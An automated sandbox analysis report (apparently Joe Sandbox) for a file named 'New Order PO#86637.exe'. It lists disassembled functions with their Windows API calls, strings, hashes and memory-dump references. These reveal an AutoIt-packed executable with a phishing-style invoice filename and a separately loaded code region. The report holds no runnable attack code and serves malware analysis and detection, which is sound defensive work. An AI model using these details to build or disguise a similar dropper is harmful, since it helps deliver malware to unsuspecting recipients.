__fread_nolock.LIBCMT ref: 004529E7
_free.LIBCMT ref: 00452A17
_free.LIBCMT ref: 00452A20

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: __fread_nolock$_free_fseek_malloc_wcscpy
String ID:
API String ID: 1255752989-0
Opcode ID: dcee285f3eb4ed07ece3e5bb349529478d219aecda09341451d4e57d6f047cda
Instruction ID: f7ea06a446360153d9086f7ce944ba4ee1a7a4a6ab52c1fb03413739877f8e55
Opcode Fuzzy Hash: dcee285f3eb4ed07ece3e5bb349529478d219aecda09341451d4e57d6f047cda
Instruction Fuzzy Hash: B95111F1900218AFDB60DF65DC81B9A77B9EF88304F0085AEF50CD7241E675AA84CF59

Function 00410490 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 56
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 004104C3
RegisterClassExW.USER32(00000030), ref: 004104ED
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 004104FE
InitCommonControlsEx.COMCTL32(004A90E8), ref: 0041051B
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 0041052B
LoadIconW.USER32(00400000,000000A9), ref: 00410542
ImageList_ReplaceIcon.COMCTL32(00BFF530,000000FF,00000000), ref: 00410552

Strings

AutoIt v3 GUI, xrefs: 004104DF
TaskbarCreated, xrefs: 004104F3
+, xrefs: 004104AC
0, xrefs: 004104A5

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: d6ae890ac616c70b0adde597a8f502ff5fb08519606e77913bb64844803ac3e9
Instruction ID: 324008788ca11066222c16167fc5b3db855b21205033cf9bff29629ff6c43806
Opcode Fuzzy Hash: d6ae890ac616c70b0adde597a8f502ff5fb08519606e77913bb64844803ac3e9
Instruction Fuzzy Hash: 6221F7B1900218AFDB40DFA4E988B9DBFB4FB09710F10862EFA15A6390D7B40544CF99

Function 00410390 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 76
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 0041039B
LoadCursorW.USER32(00000000,00007F00), ref: 004103AA
LoadIconW.USER32(?,00000063), ref: 004103C0
LoadIconW.USER32(?,000000A4), ref: 004103D3
LoadIconW.USER32(?,000000A2), ref: 004103E6
LoadImageW.USER32(?,00000063,00000001,00000010,00000010,00000000), ref: 0041040E
RegisterClassExW.USER32(?), ref: 0041045D

Part of subcall function 00410490: GetSysColorBrush.USER32(0000000F), ref: 004104C3
Part of subcall function 00410490: RegisterClassExW.USER32(00000030), ref: 004104ED
Part of subcall function 00410490: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 004104FE
Part of subcall function 00410490: InitCommonControlsEx.COMCTL32(004A90E8), ref: 0041051B
Part of subcall function 00410490: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 0041052B
Part of subcall function 00410490: LoadIconW.USER32(00400000,000000A9), ref: 00410542
Part of subcall function 00410490: ImageList_ReplaceIcon.COMCTL32(00BFF530,000000FF,00000000), ref: 00410552

Strings

#, xrefs: 00410433
0, xrefs: 0041042C
AutoIt v3, xrefs: 00410449

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: c82d51e411665b6a3a3e76d1a8d87b49acf25a0f72c8993ed2556b78267af7e8
Instruction ID: fa3beea58d24b169a793a749875a715f65b9999dd8e8f54869ce90ead7ff89b0
Opcode Fuzzy Hash: c82d51e411665b6a3a3e76d1a8d87b49acf25a0f72c8993ed2556b78267af7e8
Instruction Fuzzy Hash: 31212AB1E55214AFD720DFA9ED45B9EBBB8BB4C700F00447AFA08A7290D7B559408B98

Function 0040A780 Relevance: 16.6, APIs: 8, Strings: 1, Instructions: 881COMMON

Download Yara Rule

Strings

Default, xrefs: 0042B31E

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _malloc
String ID: Default
API String ID: 1579825452-753088835
Opcode ID: 4baf5ca2405be5455ac24bb95f1fa40f153dd1d14dcfbbf3cadbb4c6cd5c85f8
Instruction ID: a673259d86369fb9501a746496732cc59a2062e12c9a0651055f0cdb6904a52b
Opcode Fuzzy Hash: 4baf5ca2405be5455ac24bb95f1fa40f153dd1d14dcfbbf3cadbb4c6cd5c85f8
Instruction Fuzzy Hash: 13729DB06043019FD714DF25D481A2BB7E5EF85314F14882EE986AB391D738EC56CB9B

Function 0040F5C0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 125
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strcat.LIBCMT ref: 0040F5F3
_memmove.LIBCMT ref: 0040F602
__fread_nolock.LIBCMT ref: 0040F628
_fseek.LIBCMT ref: 0040F674

Strings

EA06, xrefs: 00425D46
AU3!, xrefs: 0040F5ED

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: __fread_nolock_fseek_memmove_strcat
String ID: AU3!$EA06
API String ID: 1268643489-2658333250
Opcode ID: 344840b9fdfdbe4b30e8dbd48a4dc96b4183e4050995daab1dbb295d1862c352
Instruction ID: 581a58983a44a30c9dde9fea67fd4d6d070b0eb534c71953d0d39c84ae2506d9
Opcode Fuzzy Hash: 344840b9fdfdbe4b30e8dbd48a4dc96b4183e4050995daab1dbb295d1862c352
Instruction Fuzzy Hash: A541EF3160414CABCB21DF64D891FFD3B749B15304F2808BFF581A7692EA79A58AC754

Function 00401100 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?,?,?,?,004010F8,?,?,?), ref: 00401136
KillTimer.USER32(?,00000001,?), ref: 004011B9
PostQuitMessage.USER32(00000000), ref: 004011CB
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 004011E5
RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,004010F8,?,?,?), ref: 004011F0
CreatePopupMenu.USER32 ref: 00401204

Strings

TaskbarCreated, xrefs: 004011EB

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: 3a68920b2457bf0ecdafc1b2be4b40edda77bb20db2372f596e363752a538359
Instruction ID: c871ea33cf18a3cc9178abcaf30b48d6b70312a550ef0fd47f6a389c1f0ea6f4
Opcode Fuzzy Hash: 3a68920b2457bf0ecdafc1b2be4b40edda77bb20db2372f596e363752a538359
Instruction Fuzzy Hash: 1E417932B0420497DB28DB68EC85BBE3355E759320F10493FFA11AB6F1C67D9850879E

Function 004115D7 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 004115F1

Part of subcall function 004135BB: __FF_MSGBANNER.LIBCMT ref: 004135D4
Part of subcall function 004135BB: __NMSG_WRITE.LIBCMT ref: 004135DB
Part of subcall function 004135BB: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,004115F6,?,00401BAC,?,?,?), ref: 00413600

std::exception::exception.LIBCMT ref: 00411626
std::exception::exception.LIBCMT ref: 00411640
__CxxThrowException@8.LIBCMT ref: 00411651

Strings

,*H, xrefs: 00411609
4*H, xrefs: 0041161F
@fI, xrefs: 00411604

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: std::exception::exception$AllocateException@8HeapThrow_malloc
String ID: ,*H$4*H$@fI
API String ID: 615853336-1459471987
Opcode ID: 221d40d7984faa14442154e9f969528898a85ced6d82758f7c2d656e85d04d6d
Instruction ID: 1677ae912bb9c86ef767233b76c14da205579da8f33ef274bedc9cd0e4e1b94c
Opcode Fuzzy Hash: 221d40d7984faa14442154e9f969528898a85ced6d82758f7c2d656e85d04d6d
Instruction Fuzzy Hash: C5F0F9716001196BCB24AB56DC01AEE7AA5AB40708F15002FF904951A1CBB98AC2875D

Function 042099A8 Relevance: 10.7, APIs: 7, Instructions: 151
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 042099ED

Memory Dump Source

Source File: 00000000.00000002.2085910574.0000000004209000.00000040.00000020.00020000.00000000.sdmp, Offset: 04209000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4209000_New Order PO#86637.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: eb584f4a57c68eb24893e8662cdde2a6850f072ba7aa360e4ef334368506de38
Instruction ID: 67e8223ac80ea2562b317202574ae5f6cea216ab0554db9f4424ccb3b6d2c1a6
Opcode Fuzzy Hash: eb584f4a57c68eb24893e8662cdde2a6850f072ba7aa360e4ef334368506de38
Instruction Fuzzy Hash: 4851FD75B50209BBDF20DFA4CC49FDE77B4AF48710F108554F64AAB1C1DA74A644DB60

Function 004102B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 87
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetMalloc.SHELL32(0040F54C), ref: 004102BD
SHGetDesktopFolder.SHELL32(?,004A90E8), ref: 004102D2
_wcsncpy.LIBCMT ref: 004102ED
SHGetPathFromIDListW.SHELL32(?,?), ref: 00410327
_wcsncpy.LIBCMT ref: 00410340

Strings

C:\Users\user\Desktop\New Order PO#86637.exe, xrefs: 004102EB, 0041033F, 00425E02, 00425E03

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _wcsncpy$DesktopFolderFromListMallocPath
String ID: C:\Users\user\Desktop\New Order PO#86637.exe
API String ID: 3170942423-4291297029
Opcode ID: bfe3e3032d26ed5990890659b1503a19068975a9e613434ef85ace480ecdfa96
Instruction ID: 8627f7bfe00d67ecf541507c27de0d1a6b0c746b93627a891ac6cfe5d1469166
Opcode Fuzzy Hash: bfe3e3032d26ed5990890659b1503a19068975a9e613434ef85ace480ecdfa96
Instruction Fuzzy Hash: 4B219475A00619ABCB14DBA4DC84DEFB37DEF88700F108599F909D7210E674EE45DBA4

Function 0040E4C0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 79
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,?,?,0040E4A1), ref: 0040E4DD
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,0040E4A1,00000000,?,?,?,0040E4A1), ref: 004271A6
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,0040E4A1,?,00000000,?,?,?,?,0040E4A1), ref: 004271ED
RegCloseKey.ADVAPI32(?,?,?,?,0040E4A1), ref: 0042721E

Strings

Include, xrefs: 0042719E, 004271E7
Software\AutoIt v3\AutoIt, xrefs: 0040E4D3

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: QueryValue$CloseOpen
String ID: Include$Software\AutoIt v3\AutoIt
API String ID: 1586453840-614718249
Opcode ID: 413bff81f872addaca3d9ad162024b649ce289641a3285436bc7eb0a5f7ce606
Instruction ID: d6672e68ffeed78ba434be4ce119fa1e10800d5a5bf196f8e2f41644cb46c1f5
Opcode Fuzzy Hash: 413bff81f872addaca3d9ad162024b649ce289641a3285436bc7eb0a5f7ce606
Instruction Fuzzy Hash: CF21D871780204BBDB14EBF4ED46FAF737CEB54700F10055EB605E7281EAB5AA008768

Function 00410570 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 43
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,?,00000000), ref: 004105A5
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,?,00000000), ref: 004105CE
ShowWindow.USER32(?,00000000), ref: 004105E4
ShowWindow.USER32(?,00000000), ref: 004105EE

Strings

edit, xrefs: 004105C2
AutoIt v3, xrefs: 00410599, 0041059E

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: b28a7d78b19f48c216133de275d8b0452446851dd496b073adb1022152ad6d67
Instruction ID: 021b1916d714280a6beb379f8f8b29d81737bdb93309e58067b2166fb7f1837a
Opcode Fuzzy Hash: b28a7d78b19f48c216133de275d8b0452446851dd496b073adb1022152ad6d67
Instruction Fuzzy Hash: 29F01771BE43107BF6B0A764AC43F5A2698A758F65F31083BB700BB5D0E1E4B8408B9C

Function 0040F250 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 66registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000004,Control Panel\Mouse,00000000,00000001,00000004,00000004), ref: 0040F267
RegQueryValueExW.KERNELBASE(00000000,?,00000000,00000000,?,?,00000002,00000000), ref: 0040F28E
RegCloseKey.KERNELBASE(?), ref: 0040F2B5
RegCloseKey.ADVAPI32(?), ref: 0040F2C9

Strings

Control Panel\Mouse, xrefs: 0040F265

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Close$OpenQueryValue
String ID: Control Panel\Mouse
API String ID: 1607946009-824357125
Opcode ID: 0a2ddf5dd10fc63f6e19eedc2563a5e53f3783e3c799d68c1c3a3a1866560054
Instruction ID: a31ac2e1b7deaa2d1d9e7506379341dce8fcd1dacbe24dc49005ae4a0027d3ba
Opcode Fuzzy Hash: 0a2ddf5dd10fc63f6e19eedc2563a5e53f3783e3c799d68c1c3a3a1866560054
Instruction Fuzzy Hash: 91118C76640108AFCB10CFA8ED459EFB7BCEF59300B1089AAF908C3210E6759A11DBA4

Function 0420B438 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0420B328: Sleep.KERNELBASE(000001F4), ref: 0420B339

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 0420B547

Strings

YV738UQ9E18K9CVQ, xrefs: 0420B5C7, 0420B5CA

Memory Dump Source

Source File: 00000000.00000002.2085910574.0000000004209000.00000040.00000020.00020000.00000000.sdmp, Offset: 04209000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4209000_New Order PO#86637.jbxd

Similarity

API ID: CreateFileSleep
String ID: YV738UQ9E18K9CVQ
API String ID: 2694422964-1238100268
Opcode ID: 96e464dc7010ef5662850ee2b13d198ede6a2bdc27f7c97ea1fbcf708c22a0fc
Instruction ID: 45037894c9298d85c4faee20147c7234f0dd0fb92f6809a90b353a7fd4406344
Opcode Fuzzy Hash: 96e464dc7010ef5662850ee2b13d198ede6a2bdc27f7c97ea1fbcf708c22a0fc
Instruction Fuzzy Hash: 51518431E14249DAEF21DBE4C804BEFBBB4AF19304F008599E6097B2C1D7B56B49CB65

Function 0040F570 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 247COMMON

Download Yara Rule

APIs

Part of subcall function 0040F760: _strcat.LIBCMT ref: 0040F786

_free.LIBCMT ref: 004295A0

Part of subcall function 004033C0: GetCurrentDirectoryW.KERNEL32(00000104,?,?), ref: 00403451
Part of subcall function 004033C0: GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00403467
Part of subcall function 004033C0: __wsplitpath.LIBCMT ref: 00403492
Part of subcall function 004033C0: _wcscpy.LIBCMT ref: 004034A7
Part of subcall function 004033C0: _wcscat.LIBCMT ref: 004034BC
Part of subcall function 004033C0: SetCurrentDirectoryW.KERNEL32(?), ref: 004034CC

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 0042933D
C:\Users\user\Desktop\New Order PO#86637.exe, xrefs: 0040F578, 0040F57B, 0040F5A5, 0040F5A7

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: CurrentDirectory$FullNamePath__wsplitpath_free_strcat_wcscat_wcscpy
String ID: >>>AUTOIT SCRIPT<<<$C:\Users\user\Desktop\New Order PO#86637.exe
API String ID: 3938964917-3650315919
Opcode ID: 54ef76e4734de236163cd7b280f05d5101af8392224d903fd41af02c4ea86240
Instruction ID: c8289cc7cde30cfde4dff3f83c8481f20f860a5b07fa540731426c520eca24fb
Opcode Fuzzy Hash: 54ef76e4734de236163cd7b280f05d5101af8392224d903fd41af02c4ea86240
Instruction Fuzzy Hash: 9A919171A00219ABCF04EFA5D8819EE7774BF48314F50452EF915B7391D778EA06CBA8

Function 0040BD80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0040BDCD
_memmove.LIBCMT ref: 0040BE4C

Strings

Error: , xrefs: 0040BD85

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _memmove
String ID: Error:
API String ID: 4104443479-232661952
Opcode ID: 20a21836adb2195423de36251fb93945767d574b7418eb2d4267c7510a98c7d8
Instruction ID: 2c658176ab693071ca67d4d31bd2fe4acf4d59654e7b744331f3a235cb1e2e29
Opcode Fuzzy Hash: 20a21836adb2195423de36251fb93945767d574b7418eb2d4267c7510a98c7d8
Instruction Fuzzy Hash: 0D3191716006059FC324DF29C881AA7B3E6EF84314B24853FE95AC7791EB79E941CBD8

Function 0040F520 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52COMMON

Download Yara Rule

APIs

GetOpenFileNameW.COMDLG32(?), ref: 0042961B

